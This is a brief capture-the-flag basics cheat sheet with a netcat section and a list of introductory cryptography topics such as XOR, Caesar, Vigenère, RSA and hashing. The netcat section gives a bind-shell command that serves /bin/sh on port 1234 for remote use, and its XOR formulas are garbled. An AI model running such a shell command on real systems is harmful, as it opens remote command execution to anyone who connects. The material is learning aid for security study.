

## ctf - basics Cheat Sheet

by Jianmin Feng (taotao) via cheatography.com/79308/cs/19805/

## nc

#nc -1 -p1234 -e /bin/sh #3 turn the local machine
to listen on 1234 port and execute the shell cmd,
the command after -e is used to execute the input
from port 1234
### from another computer issue
#nc abc.com 1234
touch test.txt ## this will create an empty file
on the abc.com

https://ctf101.org

https://tech.pookey.co.uk/non-wp/encoder-decoder.php

## Cryptograph

- 1 simple conversion: english string ascII number
- binary --oct--hexal--32bit 64bit
- 2. XOR:  $A=B^{C}$ ,  $B=A_{C}$ ,  $C=A \land B$
- 3. A Substitution Cipher
- 4. shift/caesar ciper
- 5 Vigenere ciper: extend of shift ciper
- 6 RSA
- 7 hashing

8mode of cipher

https://cryptii.com/pipes/binary-to-base64



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